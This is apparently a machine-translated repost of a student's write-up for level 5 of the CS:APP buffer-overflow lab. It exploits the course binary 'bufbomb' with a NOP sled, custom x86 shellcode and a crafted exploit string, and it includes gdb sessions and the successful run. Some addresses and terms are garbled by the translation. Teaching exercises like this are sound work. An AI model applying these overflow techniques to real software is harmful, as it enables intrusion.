Shulou(Shulou.com)06/01 Report--

Level 5 Nitroglycerin (10 points)

Title description: this level is an additional problem. There is also an'- n 'option in the bufbomb program. When you use this option, bufbomb will run Nitro mode, and instead of calling getbuf, the program will call getbufn:

Int getbufn () {char buf [512]; Gets (buf); return 1;}

This function differs from getbuf in that it allocates a 512-byte character array, while the function calling getbufn randomly allocates a section of storage in the stack, which results in a random change in the stack base address EBP used by getbufn. In addition, when Nitro mode is running, bufbomb asks for an input string five times, each time requiring the return value of getbufn to be the experimenter's cookie.

It is the same as Level4, but requires the same exploit string, which is finally returned to the testn function after getbufn is called five times, and the stack state of testn cannot be broken and the return value is cookie.

Solution:

Because the EBP of the getbufn function stack is not fixed and the buf is different each time, we first sample and observe its change rule.

(gdb) disass getbufnDump of assembler code for function getbufn:0x08048a60: push% ebp0x08048a61: mov% esp,%ebp0x08048a63: sub $0x08048a69: add $0xfffffff4 Magi% esp0x08048a6c: lea 0xfffffe00 (% ebp),% eax0x08048a72: push% eax0x08048a73: call 0x8048b50 0x08048a78: mov $0x1line% eax0x08048a7d: mov% ebp % esp0x08048a7f: pop% ebp0x08048a80: ret End of assembler dump. (gdb) b * 0x8048a72 Note: Breakpoint 1 at 0x8048a72 (gdb) run-n-t heen runs in Nitro mode Starting program: / root/Desktop/buflab/bufbomb-n-t heenTeam: heenCookie: 0x5573b7cfBreakpoint 1 before calling Gets 0x08048a72 in getbufn () (gdb) pgamma x $ebp+0xfffffe00 prints in hexadecimal buf$1 = 0xbfffaeb8 (gdb) contContinuing.Type string:helloDud: getbufn returned 0x1Better luck next timeBreakpoint 1, 0x08048a72 in getbufn () (gdb) p Acer x $ebp+0xfffffe00 $2 = 0xbfffaeb8 (gdb) contContinuing.Type string:hello againDud: getbufn returned 0x1Better luck next timeBreakpoint 1, 0x08048a72 in getbufn () (gdb) pAcer x $ebp+0xfffffe00 $3 = 0xbfffaec8 (gdb) contContinuing.Type string:hello again againDud: getbufn returned 0x1Better luck next timeBreakpoint 1 0x08048a72 in getbufn () (gdb) p 0xbfffaec8 x $ebp+0xfffffe00 $4 = 0xbfffae98 (gdb) contContinuing.Type string:dfafafafDud: getbufn returned 0x1Better luck next timeBreakpoint 1, 0x08048a72 in getbufn () (gdb) p Acer x $ebp+0xfffffe00 $5 = 0xbfffaec8 (gdb) p $ebp+0xfffffe00-$ebp$6 =-512 (gdb) contContinuing.Type string:fdfdfdfdfffDud: getbufn returned 0x1Better luck next timeProgram exited normally.

When getbufn is called 5 times, the buf is 0xbfffaeb8, 0xbfffaeb8, 0xbffffaec8, 0xbfffae98, 0xbfffaec8, respectively. Finally, we print the offset between buf and EBP, which is exactly the 512 bytes allocated by buf. The stack layout is shown in the figure.

Because buf allocates enough storage space (512 bytes) and the buf itself varies randomly, we consider adding NOP Sled (null instruction sledge) to the actual shellcode, and then providing a buf with the largest address in the getbufn5 call to overwrite ret, which ensures that the ret points to the NOP Sled area between the EBP and the actual buf, which ensures that the NOP null instruction glides and finally executes shellcode.

Another thing to note is to restore the stack state of the calling function testn. Because the EBP is not fixed, you can't fill SFP in the exploit string like Level 4, so you need to set it in shellcode.

To sum up, writing shellcode requires (1) to restore SFP; (2) to set the getbufn return value to cookie; (3) to jump to the next instruction address after calling getbufn in testn.

Disassemble testn

(gdb) disass testnDump of assembler code for function testn:0x08048a84: push% ebp0x08048a85: mov% esp,%ebp0x08048a87: sub $0x18call 0x8048a60 0x08048a96% esp;% ebp=%esp+0x180x08048a8a: movl $0xfefffc (% ebp) 0x08048a91: call 0x8048a60 0x08048a96: mov% eax,%edx The address to which shellcode needs to return: 0x08048a98: mov 0xfffffffc (% ebp),% eax0x08048a9b: cmp $0x08048aa0% eax0x08048aa0: je 0x8048ab1 0x08048aa2: add $0xfffffff4cmp% esp0x08048aa5: push $0x80494400x08048aaa: call 0x8048748 0x08048aaf: cmp 0x804aa50% edx0x08048ab7: jne 0x8048ad3 0x08048ab9: add $0x08048ab7: push% edx0x08048abd: push $0x80494c00x08048ac2: call 0x8048748 0x08048ac7: add $0xfffffff4MA% esp0x08048aca: push $0x40x08048acc: call 0x8048c30-- Type to continue Or q to quit

Since we only override the SFP and RET of getbufn in the stack without affecting ESP, we can reverse the ebp in the testn stack (that is, the SFP of getbufn) to esp+0x18. With this information, write shellcode and get its hexadecimal machine code

[root@localhost buflab] # cat exploit5_shellcode.sleal 0x18 (% esp),% ebpmovl $0x5573b7cfMagic% eaxpushl $0x8048a96ret [root@localhost buflab] # gcc-c exploit5_ shellcode.s [root @ localhost buflab] # objdump-d exploit5_shellcode.oexploit5_shellcode.o: file format elf32-i386Disassembly of section .t ext:00000000: 0: 8d 6c 24 18 lea 0x18 (% esp),% ebp 4: b8 cf b7 73 55 mov $0x5573b7cf % eax 9: 68 96 8a 04 08 push $0x8048a96 e: C3 ret

The machine code of the above shellcode consists of 15 bytes, and we also need to enter 512-15 = 497 NOP (90) in front of it.

Writing 90 with 497 spaces is a painful task, but fortunately we have perl to help us do it.

[root@localhost buflab] # perl-e 'print "90" x 497 World' > exploit5.txt

Of course, perl can also generate exploit string directly, because of the sendstring program, it is not shown here.

Then edit the exploit5.txt and fill in the last post-90s.

90 90... 90 8d 6c 24 18 b8 cf b7 73 55 68 96 8a 04 08 c3 61 61 61 c8 ae ff bf

The above four 61 are overwritten for SFP, which can be any byte (except carriage return and nul) because of the settings in our shellcode, followed by the largest address 0xbffffaec8 of buf obtained in our experiment.

Running

[root@localhost buflab] # cat exploit5.txt |. / sendstring-n 5 |. / bufbomb-n-t heenTeam: heenCookie: 0x5573b7cfType stringPart KABOOMMOS: getbufn returned 0x5573b7cfKeep goingType stringveKABOOMMOS: getbufn returned 0x5573b7cfKeep goingType stringveKABOOMMOS: getbufn returned 0x5573b7cfKeep goingType stringveKABOOMMOS: getbufn returned 0x5573b7cfKeep goingType stringRose KABOOMMOS: getbufn returned 0x5573b7cfNICE JOB!

After calling getbufn for 5 times, the requirement of the topic is met.

Summary:

The above five hurdles have been done before and after a month, although we had some understanding of the buffer overflow of the stack before, but when we really put it into practice, it was another thing, and it was not as smooth and easy as it was in the record. it took countless detours to understand, apply the correct method, and get the final result. As the saying goes, "the truth learned on paper is not profound, you must practice it yourself." In the field of information security, which is extremely combat, it is all the more necessary to work hard.

Welcome to subscribe "Shulou Technology Information " to get latest news, interesting things and hot topics in the IT industry, and controls the hottest and latest Internet news, technology news and IT industry trends.